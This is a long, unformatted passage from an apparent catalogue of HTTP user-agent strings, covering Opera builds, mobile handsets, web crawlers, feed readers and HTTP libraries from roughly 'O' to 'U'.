Version/11.11 Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01 Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50 Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54 Opera/9.80 (X11; Linux i686; U; it) Presto/2.7.62 Version/11.00 Opera/9.80 (X11; Linux i686; U; ja) Presto/2.7.62 Version/11.01 Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61 Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11 Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16 Opera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01 Opera/9.80 (X11; Linux x86_64; U; bg) Presto/2.8.131 Version/11.10 Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01 Opera/9.80 (X11; Linux x86_64; U; fr) Presto/2.9.168 Version/11.50 Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10 Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00 Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10 Opera/9.80 (iPad; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10 Opera/9.80 (iPhone; Opera Mini/5.0.0176/764; U; en) Presto/2.4.154.15 Opera/9.80 (iPhone; Opera Mini/5.0.019802/18.738; U; en) Presto/2.4.15 Opera/9.80 (iPhone; Opera Mini/5.0.019802/22.414; U; de) Presto/2.5.25 Version/10.54 Opera/9.80 (iPhone; Opera Mini/5.0.019802/886; U; en) Presto/2.4.15 Opera/9.80 (iPhone; Opera Mini/5.0.019802/886; U; ja) Presto/2.4.15 Opera/9.80 (iPhone; Opera Mini/7.0.4/28.2555; U; fr) Presto/2.8.119 Version/11.10 Opera/9.80 (iPhone; Opera Mini/7.1.32694/27.1407; U; en) Presto/2.8.119 Version/11.10 Opera/9.80(J2ME/MIDP; Opera Mini/5.1.21214/22.414; U; en) Presto/2.5.25 Version/10.54 Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9 Opera/9.99 (X11; U; sk) OpidooBOT (larbin2.6.3@unspecified.mail) Oracle Application Server Web Cache 10g Oracle Ultra Search Oracle iMTCrawler OrangeSpider Orbiter (+http://www.dailyorbit.com/bot.htm) Orbiter/T-2.0 (+http://www.dailyorbit.com/bot.htm) Orca Browser (http://www.orcabrowser.com) OutfoxBot/0.x (For internet experiments; http://; outfox.agent@gmail.com) OutfoxMelonBot/0.5 (for internet experiments; http://; outfoxbot@gmail.com) Overture-WebCrawler/3.8/Fresh (atw-crawler at fast dot no; http://fast.no/support/crawler.asp) P3P Validator PADLibrary Spider PBrowse 1.4b PEAR HTTP_Request class ( http://pear.php.net/ ) PEERbot www.peerbot.com PEval 1.4b PHP/3.x.xx PHP/4.0.4pl1 PHP/4.0.6 PHP/4.1.1 PHP/4.1.2 PHP/5.2.10 PHP/5.2.11 PHP/5.2.14 PHP/5.2.8 PHP/5.2.9 PJspider/3.0 (pjspider@portaljuice.com; http://www.portaljuice.com) POE-Component-Client-HTTP/0.64 (perl; N; POE; en; rv:0.640000) POLARIS/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS/6.01/WAP) MMP/2.0 profile/MIDP-2.1 Configuration/CLDC-1.1 POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1 PRCrawler/Nutch-0.9 (data mining development project; crawler@projectrialto.com) PROve AnswerBot 4.0 PSP (PlayStation Portable); 2.00 PSurf15a 11 PSurf15a 51 PSurf15a VA PWeBot/1.2 Inspector (http://www.programacionweb.net/robot.php) PageBitesHyperBot/600 (http://www.pagebites.com/) Pagebull http://www.pagebull.com/ Pagestacker Bot PagmIEDownload ParaSite/1.0b (http://www.ianett.com/parasite/) Patwebbot (http://www.herz-power.de/technik.html) Peach/1.01 (Ubuntu 8.04 LTS; U; en) PeopleChat/Search_Engine PicoSearch/1.0 Piffany_Web_Scraper_v0.x Piffany_Web_Spider_v0.x PigeonBot1.0 BETA PingALink Monitoring Services 1.0 PingALink Monitoring Services 1.0 (http://www.pingalink.com) Pingdom GIGRIB (http://www.pingdom.com) Pita Pizilla++ ver 2.45 Plagger/0.x.xx (http://plagger.org/) PlagiarBot/1.0 PlantyNet_WebRobot_V1.9 dhkang@plantynet.com Ploetz + Zeller (http://www.ploetz-zeller.de) Link Validator v1.0 (support@p-und-z.de) for ARIS Business Architect PluckFeedCrawler/2.0 (compatible; Mozilla 4.0; MSIE 5.5; http://www.pluck.com; 1 subscribers) Pluggd/Nutch-0.9 (automated crawler http://www.pluggd.com;support at pluggd dot com) Pockey-GetHTML/4.12.0 (Win32; GUI; ix86) Pockey-GetHTML/x.xx Pockey/x.x.x Pockey7.x.x(WIN32GUI) Poirot Pompos/1.1 http://pompos.iliad.fr Pompos/1.2 http://pompos.iliad.fr Pompos/1.3 http://dir.com/pompos.html Pompos/1.x http://dir.com/pompos.html Pompos/1.x pompos@iliad.fr Popdexter/1.0 Port Huron Labs PortalBSpider/2.0 (spider@portalb.com) PostFavorites PostPost/1.0 (+http://postpo.st/crawlers) PrivacyFinder Cache Bot v1.0 PrivacyFinder/1.1 Privoxy/3.0 (Anonymous) ProWebGuide Link Checker (http://www.prowebguide.com) Production Bot 0116B Production Bot 2016B Production Bot DOT 3016B Program Shareware 1.0.2 Progressive Download Progressive Download HTTP check Project XP5 [2.03.07-111203] PubCrawl (pubcrawl.stanford.edu) PureSight PuxaRapido v1.0 PycURL PycURL/7.13.2 PycURL/7.15.5 PycURL/7.16.4 PycURL/7.18.0 PycURL/7.18.2 PycURL/7.19.0 PycURL/7.19.3 PycURL/7.19.5 PycURL/7.19.7 PycURL/7.23.1 PycURL/7.xx.x Python-urllib/1.15 Python-urllib/1.16 Python-urllib/1.17 Python-urllib/1.1x Python-urllib/2.0a1 Python-urllib/2.1 Python-urllib/2.4 Python-urllib/2.5 Python-urllib/2.6 Python-urllib/2.7 Python-urllib/3.0 Python-urllib/3.1 QEAVis Agent/Nutch-0.9 (Quantitative Evaluation of Academic Websites Visibility; http://nlp.uned.es/qeavis QPCreep Test Rig ( We are not indexing- just testing ) Qango.com Web Directory (http://www.qango.com/) Qseero v1.0.0 QuepasaCreep ( crawler@quepasacorp.com ) QuepasaCreep v0.9.1x QueryN Metasearch QuickTime\xaa.7.0.4 (qtver=7.0.4;cpu=PPC;os=Mac 10.3.9) Quicksilver (Blacktree,MacOSX) QweeryBot/3.01 ( http://qweerybot.qweery.nl) Qweery_robot.txt_CheckBot/3.01 (http://qweerybot.qweery.com) R6_CommentReader_(www.radian6.com/crawler) R6_FeedFetcher_(www.radian6.com/crawler) RAMPyBot - www.giveRAMP.com/0.1 (RAMPyBot - www.giveRAMP.com; http://www.giveramp.com/bot.html; support@giveRAMP.com) RAMPyBot/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) RAYSPIDER/Nutch-0.9 REAP-crawler Nutch/Nutch-1.0-dev (Reap Project; http://reap.cs.cmu.edu/REAP-crawler/; Reap Project) REBOL Core 2.x.x.x.x REBOL View 1.x.x.x.x REL Link Checker Lite 1.0 REL Link Checker Lite x.x RMA/1.0 (compatible; RealMedia) RPT-HTTPClient/0.3-x RRC (crawler_admin@bigfoot.com) RSSMicro.com RSS/Atom Feed Robot RSSOwl/1.2.3 2006-11-26 (Windows; U; zhtw) RSSOwl/1.2.4 Preview Release 2007-04-15 (Windows; U; zhtw) RSurf15a 41 RSurf15a 51 RSurf15a 81 RX Bar RaBot/1.0 Agent-admin/phortse@hanmail.net Rainbot1.1 Rank Exec (rankexec.com) Reciprocal Link Manager 1.x/bot Rankivabot/3.2 (www.rankiva.com; 3.2; vzmxikn) Rational SiteCheck (Windows NT) ReadABlog Spider (compatible; 1.1; feed update; www.readablog.com) RealDownload/4.0.0.4x Reaper [2.03.10-031204] (http://www.sitesearch.ca/reaper/) Reaper/2.0x (+http://www.sitesearch.ca/reaper) RebusnetBot (+http://www.rebusnet.biz) RebusnetPADBot/1.5x (+http://www.rebusnet.biz) RedBot/redbot-1.0 (Rediff.com Crawler; redbot at rediff dot com) RedCarpet/1.2 (http://www.redcarpet-inc.com/robots.html) RedCell/0.1 (InfoSec Search Bot (Coming Soon); http://www.telegenetic.net/bot.html; lhall@telegenetic.net) RedCell/0.1 (RedCell; telegenetic.net/bot.html; lhall_at_telegenetic.net) RedKernel WWW-Spider 2/0 (+http://www-spider.redkernel-softwares.com/) RepoMonkey Bait & Tackle/v1.01 Rewebber/1.2 libwww-perl/5.41 RixBot (http://babelserver.org/rix) RoboCrawl (http://www.canadiancontent.net) RoboCrawl (www.canadiancontent.net) RoboPal (http://www.findpal.com/) Robot/www.pj-search.com Robot: NutchCrawler- Owner: wdavies@acm.org Robot@SuperSnooper.Com Robozilla/1.0 Roku/DVP-4.1 (024.01E01250A) Rome Client (http://tinyurl.com/64t5n) Ver: 0.9 Rotondo/3.1 libwww/5.3.1 RssBandit/1.5.0.10 (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; http://www.rssbandit.org) (.NET CLR 1.1.4322.2407; WinNT 5.1.2600.0; ) RssReader/1.0.xx.x (http://www.rssreader.com) Microsoft Windows NT 5.1.2600.0 Rubbot/1.0 (+http://rubhub.com/) RufusBot (Rufus Web Miner; http://64.124.122.252/feedback.html) RufusBot (Rufus Web Miner; http://www.webaroo.com/rooSiteOwners.html) Rumours-Agent S&L Spider (http://search.hirners.com/) S.T.A.L.K.E.R. (http://www.seo-tools.net/en/bot.aspx) SAMSUNG-C5212/C5212XDIK1 NetFront/3.4 Profile/MIDP-2.0 Configuration/CLDC-1.1 SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.3 SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html) SBIder/0.7 (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html) SBIder/0.8-dev (SBIder; http://www.sitesell.com/sbider.html; http://support.sitesell.com/contact-support.html) SBL-BOT (http://sbl.net) SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr) SEC-SGHX210/1.0 UP.Link/6.3.1.13.0 SEC-SGHX820/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SQ Webscanner SSurf15a 11 SURF SWB/V1.4 (HP) SWSBot-Images/1.2 http://www.smartwaresoft.com/swsbot12.html SafariBookmarkChecker (+http://www.coriolis.ch/) SamsungI8910/SymbianOS/9.1 Series60/3.0 SandCrawler - Compatibility Testing SapphireWebCrawler/1.0 (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu) SapphireWebCrawler/Nutch-1.0-dev (Sapphire Web Crawler using Nutch; http://boston.lti.cs.cmu.edu/crawler/; mhoy@cs.cmu.edu) ScanWeb ScholarUniverse/0.8 (Nutch;+http://scholaruniverse.com/bot.jsp; fetch-agent@scholaruniverse.com) Science Traveller International 1X/1.0 ScollSpider/2.0 (+http://www.webwobot.com/ScollSpider.php) Scooter-3.0.EU Scooter-3.0.FS Scooter-3.0.HD Scooter-3.0.VNS Scooter-3.0QI Scooter-3.2 Scooter-3.2.BT Scooter-3.2.DIL Scooter-3.2.EX Scooter-3.2.JT Scooter-3.2.NIV Scooter-3.2.SF0 Scooter-3.2.snippet Scooter-3.3dev Scooter-ARS-1.1 Scooter-ARS-1.1-ih Scooter-W3-1.0 Scooter-W3.1.2 Scooter/1.0 Scooter/1.0 scooter@pa.dec.com Scooter/1.1 (custom) Scooter/2.0 G.R.A.B. V1.1.0 Scooter/2.0 G.R.A.B. X2.0 Scooter/3.3 Scooter/3.3.QA.pczukor Scooter/3.3.vscooter Scooter/3.3_SF Scooter2_Mercator_x-x.0 Scooter_bh0-3.0.3 Scooter_trk3-3.0.3 Scope (Mars+) ScoutAbout ScoutAnt/0.1; +http://www.ant.com/what_is_ant.com/ Screaming Frog SEO Spider/8.1 Scrubby/2.1 (http://www.scrubtheweb.com/) Scrubby/2.2 (http://www.scrubtheweb.com/) Scrubby/2.x (http://www.scrubtheweb.com/) Scrubby/3.0 (+http://www.scrubtheweb.com/help/technology.html) SeaMonkey Seamonkey Seamonkey-1.1.13-1(X11; U; GNU Fedora fc 10) Gecko/20081112 Search+ Search-Engine-Studio Search/1.0 (http://www.innerprise.net/es-spider.asp) SearchByUsa/2 (SearchByUsa; http://www.SearchByUsa.com/bot.html; info@SearchByUsa.com) SearchExpress SearchExpress Spider0.99 SearchGuild/DMOZ/Experiment (searchguild@gmail.com) SearchGuild_DMOZ_Experiment (chris@searchguild.com) SearchSight/2.0 (http://SearchSight.com/) SearchSpider.com/1.1 SearchTone2.0 - IDEARE SearchdayBot Searchit-Now Robot/2.2 (+http://www.searchit-now.co.uk) Searchmee! Spider v0.98a Searchspider/1.2 (SearchSpider; http://www.searchspider.com; webmaster@searchspider.com) Seekbot/1.0 (http://www.seekbot.net/bot.html) Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/0.3 Seekbot/1.0 (http://www.seekbot.net/bot.html) HTTPFetcher/2.1 Seekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.0 (XDF) Seekbot/1.0 (http://www.seekbot.net/bot.html) RobotsTxtFetcher/1.2 Seeker.lookseek.com Semager/1.1 (http://www.semager.de/blog/semager-bots/) Semager/1.x (http://www.semager.de) Sensis Web Crawler (search_comments\at\sensis\dot\com\dot\au) Sensis.com.au Web Crawler (search_comments\at\sensis\dot\com\dot\au) SeznamBot/1.0 SeznamBot/1.0 (+http://fulltext.seznam.cz/) SeznamBot/2.0 (+http://fulltext.sblog.cz/robot/) SeznamBot/2.0 (+http://fulltext.seznam.cz/) SeznamBot/2.0-test (+http://fulltext.sblog.cz/) ShablastBot 1.0 Shareaza v1.x.x.xx SharewarePlazaFileCheckBot/1.0+(+http://www.SharewarePlaza.com) Shim Crawler Shim-Crawler Shim-Crawler(Mozilla-compatible; http://www.logos.ic.i.u-tokyo.ac.jp/crawler/; crawl@logos.ic.i.u-tokyo.ac.jp) ShopWiki/1.0 ( +http://www.shopwiki.com/) ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot) Shoula.com Crawler 2.0 SietsCrawler/1.1 (+http://www.siets.biz) Sigram/Nutch-1.0-dev (Test agent for Nutch development; http://www.sigram.com/bot.html; bot at sigram dot com) Siigle Orumcex v.001 Turkey (http://www.siigle.com) Silk/1.0 SimpleFavPanel/1.2 Simpy 1.x; http://www.simpy.com/ Simpy/1.x (Simpy; http://www.simpy.com/?ref=bot; feedback at simpy dot com) Sirketcebot/v.01 (http://www.sirketce.com/bot.html) SiteBar/3.3.5 (Bookmark Server; http://sitebar.org/) SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/) SiteBar/3.x.x (Bookmark Server; http://sitebar.org/) SiteBar/x.x SiteBar/x.x.x (Bookmark Server; http://sitebar.org/) SiteRecon+(xx) SiteSnagger SiteSpider +(http://www.SiteSpider.com/) SiteSucker/1.x.x SiteTaggerBot (http://www.sitetagger.com/bot.htm) SiteTruth.com site rating system SiteWinder SiteXpert Skampy/0.9.x (http://www.skaffe.com/skampy-info.html) Skimpy/0.x (http://www.skaffe.com/skampy-info.html) Skywalker/0.1 (Skywalker; anonymous; anonymous) Slarp/0.1 Sleipnir Sleipnir Version 1.xx Sleipnir Version2.x Sleipnir/2.xx Slider_Search_v1-de SlimBrowser Slurp/2.0 (slurp@inktomi.com; http://www.inktomi.com/slurp.html) Slurp/2.0-KiteWeekly (slurp@inktomi.com; http://www.inktomi.com/slurp.html) Slurp/si (slurp@inktomi.com; http://www.inktomi.com/slurp.html) Slurpy Verifier/1.0 SlySearch (slysearch@slysearch.com) SlySearch/1.0 http://www.plagiarism.org/crawler/robotinfo.html SlySearch/1.x http://www.slysearch.com SmartDownload/1.2.67 (Win32; Jan 12 1999) SmartDownload/1.2.77 (Win32; Feb 1 2000) SmartDownload/1.2.77 (Win32; Jun 19 2001) SmiffyDCMetaSpider/1.0 Snapbot/1.0 Snapbot/1.0 (Snap Shots, +http://www.snap.com) Snappy/1.1 ( http://www.urltrends.com/ ) Snarfer/0.x.x (http://www.snarfware.com/) SnoopRob/x.x Snoopy v1.2 Snoopy v1.xx Snoopy v1.xx- : User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2) Snoopy_v0.xx SnykeBot/0.6 (http://www.snyke.com) SocSciBot () SoftBank/1.0/812SH/SHJ001 Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SoftHypermarketFileCheckBot/1.0+(+http://www.softhypermaket.com) Softizerbot (http://www.softizer.com) Sogou Orion spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) Sogou web spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07) SonyEricssonJ300c/R2BA SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK300c/R2BA SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0 SonyEricssonK500c/R2AT SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK500c/R2L SEMC-Browser/4.0.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK506c/R2AA SEMC-Browser/4.0.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK510c/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK530c/R8BA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK530i/R6BA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK700c/R2AE SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK700c/R2CA SEMC-Browser/4.0.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK750c/R1BC Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK750c/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK750c/R1DB Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK800c/R8BF Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0 SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonS700c/R3B SEMC-Browser/4.0.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonS700i/R3B SEMC-Browser/4.0.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonT100/R101 SonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.0 SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonT68/R201A SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonW700c/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonW700c/R1DB Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonW800c/R1AA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonW800c/R1BC Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonW800c/R1L Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0 SonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 SonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US] SonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0 SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0 Sosospider+(+http://help.soso.com/webspider.htm) Space Bison/0.02 [fu] (Win67; X; SK) SpeedDownload/1.x Speedy Spider (Beta/1.0; www.entireweb.com) Speedy Spider (Beta/x.x; speedy@entireweb.com) Speedy Spider (Entireweb; Beta/1.0; http://www.entireweb.com/about/search_tech/speedyspider/) Speedy Spider (Entireweb; Beta/1.1; http://www.entireweb.com/about/search_tech/speedyspider/) Speedy Spider (Entireweb; Beta/1.2; http://www.entireweb.com/about/search_tech/speedyspider/) Speedy Spider (Entireweb; Beta/1.3; http://www.entireweb.com/about/search_tech/speedyspider/) Speedy Spider (http://www.entireweb.com) Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/) Speedy Spider (http://www.entireweb.com/about/search_tech/speedyspider/) Speedy_Spider (http://www.entireweb.com) Sphere Scout&v4.0 - scout at sphere dot com Sphider Spida/0.1 Spider-Sleek/2.0 (+http://search-info.com/linktous.html) Spider.TerraNautic.net - v:1.04 Spider/maxbot.com admin@maxbot.com SpiderKU/0.x SpiderMan SpiderMonkey/7.0x (SpiderMonkey.ca info at http://spidermonkey.ca/sm.shtml) Spinne/2.0 Spinne/2.0 med Spinne/2.0 med_AH Spock Crawler (http://www.spock.com/crawler) Squid-Prefetch SquidClamAV_Redirector 1.x.x Sqworm/2.9.81-BETA (beta_release; 20011102-760; i686-pc-linux-gnu) Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu) Sqworm/2.9.89-BETA (beta_release; 20020130-839; i686-pc-linux-gnu) StackRambler/2.0 StackRambler/2.0 (MSIE incompatible) StackRambler/x.x Stamina/1.4 Star Downloader StarDownloader/1.xx Steeler/1.x (http://www.tkl.iis.u-tokyo.ac.jp/~crawler/) Steeler/3.3 (http://www.tkl.iis.u-tokyo.ac.jp/~crawler/) Strategic Board Bot (+http://www.strategicboard.com) Submission Spider at surfsafely.com Suchknecht.at-Robot Sundance(Compatible; Windows; U; en-US;) Version/0.9.0.34 Sundance(Compatible; Windows; U; en-US;) Version/0.9.0.36 Sundance(Compatible; Windows; U; en-US;) Version/0.9.0.38 Sundance/0.9x(Compatible; Windows; U; en-US;)Version/0.9x Sunrise XP/2.x Sunrise/0.42g (Windows XP) SuperBot/4.4.0.60 (Windows XP) SuperBot/x.x (Win32) SuperBot/x.x.x.xx (Windows XP) Superdownloads Spiderman Surf/0.4.1 (X11; U; Unix; en-US) AppleWebKit/531.2+ Compatible (Safari; MSIE 9.0) SurfMaster SurferF3 1/0 SurveyBot/2.2 Whois Source SurveyBot/2.3 (Whois Source) SurveyBot/2.3+(Whois+Source) Swooglebot/2.0. (+http://swoogle.umbc.edu/swooglebot.htm) SygolBot http://www.sygol.net Sylera/1.2.x SyncBot SyncIT/x.x Syndirella/0.91pre SynoBot SynooBot/0.7.1 (SynooBot; http://www.synoo.de/bot.html; webmaster@synoo.com) Syntryx ANT Scout Chassis Pheromone; Mozilla/4.0 compatible crawler Szukacz/1.x Szukacz/1.x (robot; www.szukacz.pl/jakdzialarobot.html; szukacz@proszynski.pl) T-Online Browser TAMU_CS_IRL_CRAWLER/1.0 TCDBOT/Nutch-0.8 (PhD student research;http://www.tcd.ie; mcgettrs at t c d dot IE) TE TECOMAC-Crawler/0.x TJG/Spider TJvMultiHttpGrabber Component TOPOS robot/1.1 (http://www.topos.com.ua/) TSurf15a 11 Tagword (http://tagword.com/dmoz_survey.php) Tagyu Agent/1.0 Talkro Web-Shot/1.0 (E-mail: webshot@daumsoft.com- Home: http://222.122.15.190/webshot) TargetYourNews.com bot TeamSoft WinInet Component Tecomi Bot (http://www.tecomi.com/bot.htm) Teemer (NetSeer, Inc. is a Los Angeles based Internet startup company.; http://www.netseer.com/crawler.html; crawler@netseer.com) Teleport Pro/1.2x(.1xxx) Teoma MP Teradex Mapper; mapper@teradex.com; http://www.teradex.com TeragramCrawler TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html) Test spider TestCrawler/Nutch-0.9 (Testing Crawler for Research ; http://balihoo.com/index.aspx; tgautier at balihoo dot com) The Expert HTML Source Viewer (http://www.expert-html.com) TheRarestParser/0.2a (http://therarestwords.com/) TheSuBot/0.1 (www.thesubot.de) TheSuBot/0.2 (www.thesubot.de) Thumbnail.CZ robot 1.1 (http://thumbnail.cz/why-no-robots-txt.html) TinEye TinEye/1.1 (http://tineye.com/crawler.html) Tkensaku/x.x(http://www.tkensaku.com/q.html) Topodia/1.2-dev (Topodia - Crawler for HTTP content indexing; http://www.topodia.com/; support@topodia.com) Toutatis x-xx.x (hoppa.com) Toutatis x.x (hoppa.com) Toutatis x.x-x Trailfire-bot/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) Trailfire-bot/0.7.1 (Trailfire page content analyzer; http://trailfire.com; info@trailfire.com) Trailfire/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org) Trampelpfad-Spider Trampelpfad-Spider-v0.1 TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17 TulipChain/5.xx (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://apple.com/) Mac_OS_X/10.2.8 Tumblr/1.0 RSS syndication (+http://www.tumblr.com/) (support@tumblr.com) TurnitinBot (https://turnitin.com/robot/crawlerinfo.html) TurnitinBot/1.5 (http://www.turnitin.com/robot/crawlerinfo.html) TurnitinBot/1.5 http://www.turnitin.com/robot/crawlerinfo.html TurnitinBot/2.0 http://www.turnitin.com/robot/crawlerinfo.html TurnitinBot/2.1 (http://www.turnitin.com/robot/crawlerinfo.html) TurnitinBot/x.x (http://www.turnitin.com/robot/crawlerinfo.html) Turnpike Emporium LinkChecker/0.1 TutorGig/1.5 (+http://www.tutorgig.com/crawler) Tutorial Crawler 1.4 (http://www.tutorgig.com/crawler) TwengaBot Twiceler www.cuill.com/robots.html Twiceler-0.9 http://www.cuill.com/twiceler/robot.html Twisted PageGetter Twitterbot/1.0 Twitturly / v0.x Twotrees Reactive Filter V2.0 Tycoon Agent/Nutch-1.0-dev TygoBot TygoProwler UCMore Crawler App UCWEB/8.8 (SymbianOS/9.2; U; en-US; NokiaE63) AppleWebKit/534.1 UCBrowser/8.8.0.245 Mobile UCWEB/8.8 (iPhone; CPU OS_6; en-US)AppleWebKit/534.1 U3/3.0.0 Mobile UCWEB5.1 UCmore UDM UIowaCrawler/1.0 UKWizz/Nutch-0.8.1 (UKWizz Nutch crawler; http://www.ukwizz.com/) UP.Browser/3.01-IG01 UP.Link/3.2.3.4 UPG1 UP/4.0 (compatible; Blazer 1.0) URD-MAGPIE/0.73 (Cached) URI::Fetch/0.06 URL Spider Pro/x.xx (innerprise.net) URLBase/6.x URLBlaze URLGetFile URL_Spider_Pro/x.x URL_Spider_Pro/x.x+(http://www.innerprise.net/usp-spider.asp) USyd-NLP-Spider (http://www.it.usyd.edu.au/~vinci/bot.html) UdmSearch/3.1.x Ultraseek Under the Rainbow 2.2 UniversalFeedParser/3.3 +http://feedparser.org/ UofTDB_experiment (leehyun@cs.toronto.edu) 